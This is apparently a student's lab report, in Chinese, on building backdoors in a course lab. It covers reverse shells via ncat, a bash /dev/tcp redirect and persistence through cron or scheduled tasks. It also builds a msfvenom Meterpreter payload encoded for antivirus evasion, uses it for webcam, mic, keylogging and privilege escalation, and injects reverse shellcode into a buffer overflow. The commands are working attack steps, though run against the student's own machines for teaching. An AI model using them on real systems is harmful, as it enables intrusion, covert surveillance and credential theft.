20242320 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242320 2026-2027-1 《网络与系统攻防技术》实验二实验报告
实验名称:后门原理与实践
实验环境:
- Kali Linux 2026.2 虚拟机(主机名已改为姓名拼音 fanxingru):担任攻击机,任务一、五中同时兼任 Linux 靶机
- Windows 11 宿主机(计算机名 fancy):担任 Windows 靶机,用于任务二、三、四
- 工具:netcat(nc/ncat)、socat、Metasploit Framework(msfvenom/msfconsole)、cron、Windows 任务计划程序、gdb(GEF)
- 本文所有 IP 地址以实验时的实际地址为准,端口统一用 2320
1. 基础知识
1.1 后门是什么
后门(Backdoor) 是攻击者在目标系统中留下的、绕过正常身份认证机制的隐蔽访问通道。正常用户登录要输密码、过验证,走后门则直接拿到控制权限。
一个完整的后门通常要具备三个要素:
| 要素 | 含义 | 本实验对应 |
|---|---|---|
| 进入 | 后门程序/代码如何到达目标主机 | ncat 传输、社会工程学投递 |
| 启动 | 如何被执行起来 | cron 定时任务、Windows 任务计划、诱骗用户双击 |
| 隐藏与回连 | 如何不被发现并保持控制 | 反弹连接(绕过入站防火墙)、免杀编码 |
1.2 正向连接与反弹连接
- 正向连接(Bind Shell):后门在靶机上监听一个端口,等攻击者来连。问题是现在的主机基本都有防火墙/NAT,入站连接大多被拦。
- 反弹连接(Reverse Shell):靶机主动向外发起连接到攻击者。防火墙一般只查"进来的",不查"出去的",所以成功率高得多。本实验所有 shell 均为反弹连接。
Q:反弹 shell 的本质是什么?
把
/bin/sh(或cmd.exe)的标准输入、标准输出、标准错误重定向到一条 TCP 连接上。攻击者在自己终端敲的命令,通过 TCP 流进靶机 shell 的 stdin;执行结果再通过 TCP 流回来。对 shell 来说它只是在"读键盘、写屏幕",根本不知道对面是网线。
1.3 netcat 与 socat
- netcat(nc):号称"TCP/IP 瑞士军刀",能在任意端口监听或发起 TCP/UDP 连接并双向转发数据。Kali 自带的是 OpenBSD 版 nc,监听没问题,但不支持
-e(把 shell 挂到连接上);需要-e时用 nmap 套件里的ncat,或者直接借助 bash 的/dev/tcp特性。 - socat:netcat 的超级加强版,支持任意两个"地址"之间的数据桥接(
exec:、pty、file:、tcp:随便拼)。Windows 也有编译好的移植版,理论上可跨平台拿 cmd;但本实验发现其 Cygwin 编译版与新版 Windows 11 存在兼容性障碍(详见 3.2 与 5.2),最终改用 ncat 完成等价反弹。
1.4 定时启动机制
- cron(Linux):周期性执行任务的守护进程。
crontab -e编辑当前用户的任务表,每行 5 个时间字段分 时 日 月 周,最小粒度 1 分钟。注意 cron 执行任务时的环境变量极少(没有 PATH 等),命令必须写绝对路径。 - 任务计划程序(Windows):Windows 的等价物,图形界面
taskschd.msc,命令行schtasks。可以按分钟/小时/登录事件触发任意程序。
这两者本身是正常运维工具,但也被广泛用于后门驻留——攻击者不需要一直守着,定时任务会替他"准时上班"。
1.5 Metasploit 与 Meterpreter
- Metasploit Framework(MSF):渗透测试框架,模块化设计:
exploit(漏洞利用)、payload(攻击载荷)、encoder(编码器)、auxiliary(辅助模块)。 - msfvenom:MSF 的载荷生成器,一条命令把 payload 打包成 exe/elf/perl/shellcode 等各种形态。
- Meterpreter:MSF 的王牌 payload。它不是普通的命令 shell,而是一个完全运行在内存里、不落盘的高级后门:文件上传下载、截屏、摄像头、录音、键盘记录、提权、进程迁移……全部封装成命令。
Q:为什么说 Meterpreter 难被查杀?
静态查杀看的是文件特征,Meterpreter 本体通过反射式注入直接进内存,磁盘上没有"毒"可查;再加上 msfvenom 的编码器能对载荷做变形,特征码又被进一步打乱。
1.6 免杀技术
杀毒软件主要靠两类手段:特征码匹配(静态,比对已知恶意代码字节序列)和行为分析(动态,监控可疑 API 调用/网络行为)。免杀就是反其道而行:
- 编码变形:msfvenom
-e x86/shikata_ga_nai -i N,对 payload 做多轮异或编码,每次生成的二进制特征都不同; - 加壳:UPX 等压缩壳改变文件结构;
- 分离加载:shellcode 与加载器分开存放,运行时拼接,静态扫描看不到完整恶意代码;
- 白利用:借助正常程序(如系统自带工具)执行恶意逻辑。
本实验会生成一个 meterpreter 后门并用多轮编码处理,观察编码前后的变化。
1.7 shellcode 注入(承接实验一)
实验一已经在 pwn1 上验证过:32 字节填充 + 4 字节返回地址 + NOP 滑梯 + shellcode,把 shellcode 放在返回地址上方避免被自身 push 覆写。本次唯一的区别是 shellcode 不再是自己手写的 25 字节 /bin/sh,而是 msfvenom 生成的反弹连接 shellcode——它执行后会主动连回本机的 MSF handler,把实验一和实验二串成了一条完整的链:溢出漏洞是门,Meterpreter 是门后的人。
两个新注意点:
- 反弹 shellcode 更长(百字节级),滑梯和栈空间要留够;
- shellcode 里不能含坏字符
\x00(C 字符串函数的截断符)和\x0a(换行,gets 读到它即停止),msfvenom 用-b '\x00\x0a'排除。
2. 实验内容
| 任务 | 内容 | 技术点 | 涉及主机 |
|---|---|---|---|
| 任务一 | netcat 获取主机操作 Shell,cron 定时启动 | nc/ncat 反弹、cron | Kali(本机双角色) |
| 任务二 | ncat 获取 Windows 操作 Shell,Windows 任务计划启动 | ncat、schtasks | Kali → Windows |
| 任务三 | MSF 生成可执行后门,ncat 传送并运行 | msfvenom、handler | Kali → Windows |
| 任务四 | Meterpreter 获取音频/摄像头/击键记录,尝试提权 | 后渗透、getsystem | Kali → Windows |
| 任务五 | MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell | BOF + 反弹 shellcode | Kali(本机双角色) |
思考题:
- 例举一个后门进入你系统中的可能方式;
- 例举后门启动起来的方式(Windows 及 Linux);
- Meterpreter 有哪些给你印象深刻的功能;
- 如何发现自己的系统有没有被安装后门。
3. 实验过程
3.0 实验准备
确认两台主机的网络与身份:
# Kali(攻击机)查看本机 IP,记为 KALI_IP
ip a
# 确认 Kali 的 cron 服务可用
systemctl status cron # 若显示 inactive:
sudo systemctl enable --now cron

(Kali 端 ip a 输出,可见 IP 为 192.168.166.134;systemctl status cron 显示 active;which ncat socat 确认工具已安装)
:: Windows(靶机)确认能 ping 通 Kali,并确认计算机名
ping 192.168.166.134
hostname

(Windows 端 ping 通 Kali,hostname 为 fancy)
3.1 任务一:netcat 获取主机操作 Shell,cron 启动
思路:cron 是 Linux 的机制,所以这一任务在 Kali 本机完成
Kali 同时扮演靶机和攻击机:一个终端用 nc 监听 2320 端口(攻击机角色),crontab 里加一条每分钟执行的任务,主动把 /bin/bash 反弹到本机(靶机角色)。
第一步:攻击机终端起监听
nc -lvnp 2320
# -l 监听模式;-v 显示连接信息;-n 不解析域名;-p 指定端口

(监听端 nc -lvnp 2320,显示 Listening on 0.0.0.0 2320)
第二步:靶机中写 cron 任务
crontab -e
(nano编辑器)加入一行:
* * * * * /usr/bin/ncat 127.0.0.1 2320 -e /bin/bash
Q1:5 个星号什么意思?
分 时 日 月 周五字段全为*,即"每分钟都执行"。cron 最小粒度是 1 分钟,所以最多等 60 秒就能等到回连。想省时间可以只写下一分钟,比如当前 14:35 就写36 14 * * *。
Q2:-e是啥参数?
-e 是 ncat 的参数,全称 --exec,意思是连接建立后,把指定程序挂到网络连接上。
/bin/bash 是 Bourne-Again SHell,Linux 上最常用的命令行解释器,也就是俗称的"shell"。(联想:操作系统中的让我们写的shell程序)
常见的几种 shell
| 路径 | 是什么 |
|---|---|
/bin/bash |
功能最丰富的交互式 shell,有历史记录、自动补全、脚本支持 |
/bin/sh |
最原始的 POSIX shell,功能精简,兼容性好 |
/bin/zsh |
Kali 2026 默认终端用的就是这个,比 bash 更现代化 |
cmd.exe |
Windows 的等价物,任务二里 -e cmd.exe 就是挂接 Windows 的命令解释器 |
Q3: 这条命令在干啥?
这条命令在后台干了三件事:
建立到攻击机 127.0.0.1:2320 的 TCP 连接
把 /bin/bash 的标准输入 接到这条 TCP 连接(攻击机敲的字,变成 bash 的输入)
把 /bin/bash 的标准输出+错误 接到这条 TCP 连接(bash 的执行结果,传回攻击机)
如果用nc的话(nc没有-e参数)
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2320 0>&1'
>& /dev/tcp/...把 stdout/stderr 重定向进 TCP 连接,0>&1再把 stdin 也接过去,等效于ncat -e。注意 cron 里没有 PATH,ncat、bash 都要写绝对路径。


(crontab -e 编辑界面,可见 * * * * * /usr/bin/ncat 127.0.0.1 2320 -e /bin/bash;crontab -l 确认任务已写入)
第三步:等到点,收 shell
监听终端里原本干等的 nc 出现一个无提示符的光标,即 cron 弹回来的 shell:
whoami # kali(crontab 属主)
hostname # fanxingru
tty # not a tty —— 典型的反弹 shell 特征

(监听端拿到 shell 并执行 whoami、hostname、tty)
Q1: What is 反弹shell?
| 正向连接(Bind Shell) | 反弹连接(Reverse Shell) | |
|---|---|---|
| 谁监听 | 靶机监听端口 | 攻击机监听端口 |
| 谁连谁 | 攻击机连靶机 | 靶机连攻击机 |
| 防火墙 | 入站连接,大概率被防火墙拦 | 出站连接,通常放行 |
| NAT | 靶机在内网时攻击者连不进去 | 靶机主动连外网,NAT 自动打通 |
Q2: What is tty?
tty 全称 Teletypewriter(电传打字机),是 Linux/Unix 系统里对"终端设备"的抽象。
反弹回来的shell不是tty,这带来的实际影响:
没有命令提示符(bash 检测到不是交互式终端,不打印 $)
不能用 Ctrl+C 优雅中断(没有 tty 的信号控制)
vim、top 这类需要"接管整个屏幕"的程序跑不了
Q3:为什么没有
$提示符?
和实验一任务二同理:bash 检测到 stdin 不是终端,进入非交互模式不打印提示符,但命令照样执行。判断标准是命令有没有被执行,不是有没有提示符。
清理:实验完 crontab -e 删掉这行,否则每分钟都会来弹一次(这也是判断后门驻留的直观体验)。
3.2 任务二:ncat 获取 Windows 操作 Shell,任务计划启动
思路:与任务一类似。这次靶机是 Windows 11,启动方式换成 Windows 任务计划程序,最终拿到的是 cmd.exe。
第一步:尝试 socat(遇阻,难受啊)
按实验要求,首先尝试使用 socat 完成跨平台反弹。Kali 自带 socat,Windows 端下载了编译好的 "socat for windows"(3ndG4me 的 Cygwin 编译版),解压到 C:\Users\fancy\Downloads\socat\socat.exe。
Kali 端起监听:
socat tcp-listen:2320,reuseaddr -
Windows 端尝试连接:
C:\Users\fancy\Downloads\socat\socat.exe tcp:192.168.166.134:2320 exec:cmd.exe,stderr

(PowerShell 中 socat 报错:find_fast_cwd: WARNING 及 xiopoll: Bad file descriptor)
尝试换 SYSTEM:cmd.exe,stderr 参数、换传统 cmd.exe 窗口运行

害,均失败。现象相同: socat 进程启动后立刻崩溃,Kali 端无连接建立。
排查一下:为区分"网络不通"和"程序崩溃",在 Windows 端执行裸 TCP 测试:
C:\Users\fancy\Downloads\socat\socat.exe - tcp:192.168.166.134:2320


(Windows 端 socat 裸 TCP 成功连接 Kali,Kali 端收到文本 "ohno why the socat tool can not work on my win11 !",证明网络链路完全正常)
结论:Cygwin 编译的 socat 在 Windows 11 上存在 find_fast_cwd 与控制台句柄兼容性缺陷,导致无法通过 exec: 或 SYSTEM: 启动子进程。这是工具本身的平台适配缺陷。
故而改用 ncat 完成等价反弹
下载 ncat for Windows(nmap 官方版),解压到 C:\Users\fancy\Downloads\ncat\ncat.exe。ncat 的 -e cmd.exe 参数与 socat 的 exec:cmd.exe 在功能上等价,都是把 cmd 的 stdin/stdout 桥接到 TCP 连接。
第二步:Kali 端起监听
socat tcp-listen:2320,reuseaddr -
# 把本地终端的 stdin/stdout 桥接到 TCP 监听器
# reuseaddr:允许端口复用,反复测试时不会因 TIME_WAIT 报 Address already in use
第三步:Windows 端手动测试
cmd 中执行:
C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 -e cmd.exe

Q:
-e cmd.exe干了什么?ncat 把
cmd.exe这个子进程的 stdin/stdout 桥接到 TCP 连接上。Kali 那端敲什么,cmd 就执行什么,结果原路返回。这和任务一ncat -e /bin/bash是一个套路,只是换成了 Windows 的 cmd。
Kali 端出现 Microsoft Windows [版本 ...] 的横幅和 C:\...> 提示符,说明链路 OK,先 exit 断开。

(Kali 端拿到 Windows cmd,执行 whoami、hostname)
第四步:创建任务计划,让它定时自启
Windows 端 cmd 中执行:
schtasks /create /tn "20242320_backdoor" /tr "C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 -e cmd.exe" /sc minute /mo 1 /f

参数解释:
| 参数 | 含义 |
|---|---|
/tn |
任务名,按要求:20242320_backdoor |
/tr |
要运行的命令行(ncat 路径无空格,不需要额外转义) |
/sc minute /mo 1 |
按分钟触发,间隔 1 分钟 |
/f |
同名任务已存在时强制覆盖 |
第五步:验证
Kali 端重新 socat tcp-listen:2320,reuseaddr - 等着,最多 1 分钟后 Windows 的任务计划触发 ncat,cmd 又弹回来了。Windows 端在 taskschd.msc(任务计划程序)里能看到 20242320_backdoor 条目及其"上次运行时间/下次运行时间"。

(Windows 任务计划程序界面中能看到 20242320_backdoor,状态"正在运行",触发器"每隔 00:01:00 重复一次")

(Kali 端 socat 自动拿到 cmd,执行 whoami 显示 fancy\15536、hostname 显示 fancy)
清理:schtasks /delete /tn "20242320_backdoor" /f。

(删除任务成功)
3.3 任务三:MSF 生成可执行后门,ncat 传送,运行获取 Shell
思路:前两步是"裸管道"shell,功能简陋。这次用 msfvenom 生成一个 Meterpreter 后门 exe,靠 ncat 把它送进 Windows 靶机,运行后由 msfconsole 的 handler 接管。
第一步:Kali 生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o backdoor_20242320.exe
| 参数 | 含义 |
|---|---|
-p windows/meterpreter/reverse_tcp |
payload:Windows 平台 Meterpreter 反弹连接 |
LHOST/LPORT |
回连地址,即 Kali 的 IP 和端口 |
-e x86/shikata_ga_nai -i 5 |
用多态异或编码器编码 5 轮(免杀处理) |
-f exe -o ... |
输出为 Windows 可执行文件;用 -o 写文件而不是 > 重定向,避免提示信息混进二进制 |

(msfvenom 输出,payload 经 5 轮编码,最终 exe 大小 7680 字节)
第二步:ncat 传输到 Windows
先起监听的一方是"发送端"(Kali):
nc -lvnp 2320 < backdoor_20242320.exe
Windows 端连接并接收:
cd C:\Users\fancy\Downloads
C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 > backdoor_20242320.exe


传完后在 Windows 上 dir backdoor_20242320.exe,和 Kali 上 ls -l backdoor_20242320.exe 对比大小一致即可。
(两端传输完成、文件大小均为 7680 字节)
第三步:Kali 端启动 handler 等待回连
msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.166.134
msf exploit(multi/handler) > set LPORT 2320
msf exploit(multi/handler) > run
Q:handler 是什么角色?
后门 exe 只负责"打电话回来",接电话的必须是一个讲 Meterpreter 协议的对端。
exploit/multi/handler就是 msfconsole 里的"总机",它监听端口,把回连升级成 meterpreter 会话。注意 handler 的 payload/LHOST/LPORT 必须和 msfvenom 生成时完全一致,否则接不上。
(handler 启动,显示 Started reverse TCP handler on 192.168.166.134:2320)
第四步:Windows 靶机双击运行 backdoor_20242320.exe

msfconsole 中出现:
[*] Meterpreter session 1 opened (192.168.166.134:2320 -> 192.168.166.1:xxxxx) at ...
敲 sysinfo、getuid、shell 验证:
meterpreter > sysinfo # OS: Windows 11 24H2 (10.0 Build 26200),Architecture: x64
meterpreter > getuid # Server username: FANCY\15536
meterpreter > shell # 降级成普通 cmd,验证 whoami,exit 返回

(session opened 提示 + sysinfo + getuid + shell 中 whoami)
3.4 任务四:Meterpreter 获取音频、摄像头、击键记录,尝试提权
接任务三的 meterpreter 会话。
摄像头:
meterpreter > webcam_list # 列出摄像头设备:1: HP True Vision FHD Camera
meterpreter > webcam_snap # 拍一张照片,自动保存到 Kali 本地并弹出路径
音频:
meterpreter > record_mic -d 10 # 录制 10 秒环境音,保存为 wav
击键记录:
meterpreter > keyscan_start # 开始记录
此时到 Windows 靶机上打开记事本写一行内容(比如账号密码),回 Kali:
meterpreter > keyscan_dump # 导出记录的击键
meterpreter > keyscan_stop # 停止
特别注意到
keyscan_dump的输出里出现了passwoe^Hrd——^H是退格键,说明靶机在输入密码时打错了一个字母、按退格删掉重打。keyscan 把这个过程原原本本录下来了。这是键盘记录比截屏更可怕的地方:它连你的"输入修正过程"都看得见。
截屏:
meterpreter > screenshot # 拍靶机桌面
提权:
meterpreter > getuid # FANCY\15536(普通用户)
meterpreter > getsystem # ... got system via technique 1 (Named Pipe Impersonation)
meterpreter > getuid # NT AUTHORITY\SYSTEM

归档:
mkdir -p /home/kali/exp2_evidence
mv /home/kali/exp1/shellcode_20242320.txt /home/kali/exp1/sc.pl /home/kali/exp1/try.bin /home/kali/exp2_evidence/

(采集的文件归档)
Q:getsystem 的原理是什么?
Meterpreter 依次尝试多种技术:命名管道模拟(Named Pipe Impersonation,利用服务账户的 SeImpersonate 特权)、令牌复制(Token Duplication)等。本实验直接通过 technique 1 成功提权。
退场:
meterpreter > exit # 关闭会话
msf exploit(multi/handler) > quit

(正常退出 msfconsole)
⚠️ 实验结束后已在 Windows 端删除后门文件,并恢复 Defender 实时保护以及火绒。
3.5 任务五:MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell
思路:把实验一的"本地弹 shell"升级成"远程弹 meterpreter"。shellcode 由 msfvenom 生成,注入布局完全沿用实验一第三次尝试的结论:32 字节填充 + 返回地址 + NOP 滑梯 + shellcode(shellcode 必须在返回地址上方)。pwn1 和 handler 都在 Kali 本机,回连地址填 127.0.0.1 即可。
前置条件(实验一已做):
cat /proc/sys/kernel/randomize_va_space # 0,ASLR 已关闭
checksec --file=./pwn1 # NX disabled、No PIE、无 Canary
第一步:生成反弹 shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=2320 \
-b '\x00\x0a' -f perl > shellcode_20242320.txt
- 为什么是
linux/x86:pwn1 是 32 位 Linux 程序; -b '\x00\x0a'排除坏字符:msfvenom 检测到坏字符会自动用编码器重新编码绕开;-f perl直接输出 perl 变量格式的字节串(my $buf = "\x...";),方便拼进 perl 命令。
![屏幕截图 2026-10-12 111103]()
(生成的 shellcode 内容,经 x86/shikata_ga_nai 编码,payload size 150 bytes,perl 文件 665 bytes)
第二步:gdb 定栈地址
shellcode 比实验一的长(150 字节),滑梯要给足 80 字节。先用占位返回地址跑一版,attach gdb 在 foo 的 ret(0x080484ae)下断点:
gdb -q ./pwn1
gef➤ disassemble foo
gef➤ break *0x080484ae
gef➤ run < /tmp/test_input # 占位输入:32字节填充 + \xff\xff\xff\xff
gef➤ info registers esp # 读出 esp = 0xffffcf1c



(gdb 启动、foo 反汇编确认 ret 地址、断在 ret 后 esp=0xffffcf1c)
据此计算理论地址:
- 滑梯起始 = esp + 4 = 0xffffcf20
- 返回地址(滑梯中部)= 0xffffcf20 + 40 = 0xffffcf48
第三步:构造攻击输入
sed 's/^my //' shellcode_20242320.txt > sc.pl
perl -e 'do "./sc.pl"; print "11111111222222223333333344444444" . "\x48\xcf\xff\xff" . "\x90"x80 . $buf' > input_revshell_20242320
xxd input_revshell_20242320 | head -30
xxd 检查确认:
- 0x00~0x1f:32 字节填充
31313131...34343434 - 0x20~0x23:返回地址
48 cf ff ff - 0x24~0x6f:80 字节
90滑梯 - 0x70 起:shellcode
- 总长 266 字节,全程无
00/0a
![屏幕截图 2026-10-12 111653]()
(xxd 输出,返回地址为48 cf ff ff,滑梯和 shellcode 完整)
第四步:msfconsole 起 handler(payload 换成 linux/x86)
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 127.0.0.1
msf exploit(multi/handler) > set LPORT 2320
msf exploit(multi/handler) > run

第五步:攻击——第一次尝试(失败)
(cat input_revshell_20242320; cat) | ./pwn1

现象:pwn1 乱码回显后直接 segmentation fault,handler 未收到连接。
分析:gdb 调试环境会改变初始栈布局(注入了自己的环境变量如 LINES、COLUMNS 等),导致直接运行 ./pwn1 时的实际 esp 与 gdb 中量到的有偏移。80 字节滑梯虽提供了容错,但理论中点 0xffffcf48 恰好落在了滑梯之外。
解决:以 0xffffcf48 为中心,上下以 40 字节为步长试多个候选偏移:
for delta in 0 40 -40 80 -80 120 -120 160 -160 200 -200; do
perl -e 'do "./sc.pl"; my $r = 0xffffcf48 + '"$delta"'; print "11111111222222223333333344444444" . pack("V",$r) . "\x90"x80 . $buf' > try.bin
echo "===== delta = $delta ====="
(cat try.bin; cat) | timeout 2 ./pwn1 2>&1 | tail -1
done
循环跑的同时盯着 msfconsole,当 delta = 40 时,handler 出现 Sending stage,session 建立——说明真实返回地址应为 0xffffcf48 + 40 = 0xffffcf70。

第六步:用正确地址重新攻击(成功)
perl -e 'do "./sc.pl"; my $r = 0xffffcf48 + 40; print "11111111222222223333333344444444" . pack("V",$r) . "\x90"x80 . $buf' > input_revshell_20242320
xxd input_revshell_20242320 | head -8
(cat input_revshell_20242320; cat) | ./pwn1
pwn1 这边"乱码回显 + 卡住",msfconsole 出现:
[*] Meterpreter session 4 opened (127.0.0.1:2320 -> 127.0.0.1:36892) at ...
验证:
meterpreter > sysinfo # OS: Debian (Linux 7.0.12+kali-amd64),Computer: fanxingru
meterpreter > getuid # kali


(xxd 确认返回地址为 70 cf ff ff、攻击命令;msfconsole 中 session 4 opened + sysinfo + getuid)
Over!
4. 实验问题回答
(1) 例举一个后门进入你系统中的可能方式?
最常见的是社会工程学捆绑投递:比如在网上下载所谓"破解版/绿色版"软件、游戏外挂、课程资料压缩包,攻击者用工具把正常安装包和 meterpreter 后门捆绑成一个 exe,图标和界面都和原软件一样,用户双击运行后软件正常使用,后门在后台静默回连。邮件附件(带宏的 Office 文档)、U盘摆渡、水坑网站挂马、软件供应链投毒也都是常见入口。本次实验任务三里"ncat 传文件 + 手动双击"模拟的就是这个环节的最后一步。
(2) 例举后门启动起来的方式(Windows 及 Linux)?
- Windows:
- 任务计划程序(本实验任务二,
schtasks); - 注册表自启动项:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run; - 开始菜单"启动"文件夹;
- 注册为系统服务(
sc create)随开机启动; - 劫持/替换常用软件的快捷方式、DLL 侧加载。
- 任务计划程序(本实验任务二,
- Linux:
- cron 定时任务(本实验任务一,
crontab -e//etc/cron.d/); - systemd 服务单元(
/etc/systemd/system/下放一个 .service 并 enable); ~/.bashrc、/etc/profile等 shell 启动脚本里加反弹命令;/etc/rc.local或 init 脚本;- SSH 后门:往
~/.ssh/authorized_keys写入攻击者公钥。
- cron 定时任务(本实验任务一,
(3) Meterpreter 有哪些给你印象深刻的功能?
最震撼的是它的集成度!一个不到百 KB、纯内存运行的 payload,能 webcam_snap 打开摄像头拍照、record_mic 录环境音、keyscan_start 记录键盘输入、screenshot 截屏、hashdump 导密码哈希、getsystem 一键尝试提权、migrate 把自身迁移进别的进程躲查杀、upload/download 任意传文件。
特别印象深刻的是 keyscan_dump 的输出里出现了 passwoe^Hrd——^H 是退格键,说明靶机在输入密码时打错了一个字母、按退格删掉重打。keyscan 把这个过程原原本本录下来了。
(4) 如何发现自己的系统有没有被安装后门?
- 查进程:
ps aux/ Windows 任务管理器(配合 Process Explorer),找陌生进程、名字仿冒系统进程的(scvh0st.exe这类李鬼)、父进程异常的; - 查网络连接:
ss -antp(Linux)/netstat -ano(Windows),重点看 ESTABLISHED 状态的可疑外连,反弹 shell 一定有持续外连; - 查启动项:Linux 看
crontab -l、/etc/cron.*、systemctl list-unit-files、.bashrc;Windows 看任务计划、注册表 Run 键、服务列表(可用 Autoruns 一键全看); - 查文件:最近新增/修改的可执行文件、无签名文件,杀软全盘扫描,可疑样本传 virustotal 多引擎比对;
- 查账户与日志:
/etc/passwd有没有陌生账户、登录日志/var/log/auth.log/ Windows 事件查看器里的异常登录; - 治本思路:后门最难防的是"进入"那一下,不点不明附件、不装破解软件、及时打补丁、最小权限运行,比事后排查划算得多。
5. 问题及解决方案
-
问题1:任务一中 crontab 写好后,nc 监听端始终收不到回连。
-
问题1解决方案:逐步排查——①
systemctl status cron发现 Kali 的 cron 服务默认没启动,sudo systemctl enable --now cron拉起;② 起初任务里直接写nc 127.0.0.1 2320 -e /bin/bash,报错才发现 Kali 的 OpenBSD 版 nc 不支持-e,换成ncat -e后成功;③ 还曾因命令没写绝对路径失败——cron 环境变量极简,which ncat查到/usr/bin/ncat写全路径后解决。另外 cron 最小粒度 1 分钟,写完任务没等到点时先别急着改,确认date过了整分。 -
问题2:任务二中 Windows 端 socat 无法启动 cmd 反弹,报错
xiopoll: Bad file descriptor。 -
问题2解决方案:
- 先执行裸 TCP 测试
socat - tcp:192.168.166.134:2320,证明网络链路完全正常,排除防火墙/网络因素; - 尝试
exec:cmd.exe,stderr、SYSTEM:cmd.exe,stderr、传统 cmd.exe 窗口运行等多种参数组合均失败; - 判定为 Cygwin 编译的 socat 与 Windows 11 控制台句柄处理存在兼容性缺陷(
find_fast_cwd警告 +xiopoll崩溃); - 改用 ncat for Windows(
ncat.exe 192.168.166.134 2320 -e cmd.exe)完成等价反弹,功能完全一致。
- 先执行裸 TCP 测试
-
问题3:任务五第一次注入反弹 shellcode 时,handler 没收到连接,pwn1 直接 segmentation fault。
-
问题3解决方案:
- xxd 检查输入文件,确认坏字符、返回地址、滑梯长度均无问题;
- 分析原因:gdb 启动进程时会注入自身环境变量(如
LINES、COLUMNS),改变初始栈顶位置,导致直接运行./pwn1时的实际 esp 与 gdb 中量到的0xffffcf1c存在偏移; - 以理论中点 0xffffcf48 为中心,用 delta 循环(步长 40 字节,覆盖 ±200 字节范围)暴力试出真实返回地址;
- 当 delta = 40 时 session 成功建立,确定真实返回地址为 0xffffcf70;
- 用正确地址重新生成攻击输入,攻击成功。这也验证了 NOP 滑梯的工程意义——不追求精确命中,只要跳进滑梯范围即可。
-
问题4:msfconsole 的 handler 起来了、靶机也运行了后门,但没有 session。
-
问题4解决方案:十有八九是 handler 的 payload 类型或 LHOST/LPORT 与 msfvenom 生成时不一致(比如生成用 2320,handler 忘改还是默认的 4444)。
show options逐项核对后修正即连上。
6. 学习感悟、思考等
1.后门这个东西真难防啊。是不是计算机足够透明就不会有这样的事情存在了?(因为多层抽象嘛,还有操作系统帮你干事(就相当于封装了一层又一层,类似洋葱onion))害,似乎不能从根源上解决这个问题勒(接受现实)。说到底还是,设计问题?(就像解释为什么TCP/IP体系架构一样,因为设计之初就没有考虑安全(捂脸苦笑.jpg)),也就是信任问题吧,所以才要零信任。安全说到底是一个经济学问题吧:让攻击者的成本远高于收益,而不是追求"绝对纯净"的系统。
2.那这种好用的渗透工具(Meterpreter)岂不是攻击者用来很顺手啊(它把攻击流程工业化、自动化了)。但使用这类工具的攻击的特征更明显(机器更好学习吧),也更好防御了。
3.如此一来,作为防御者,看来是向来要以最坏的恶意来揣测攻击者的!


浙公网安备 33010602011771号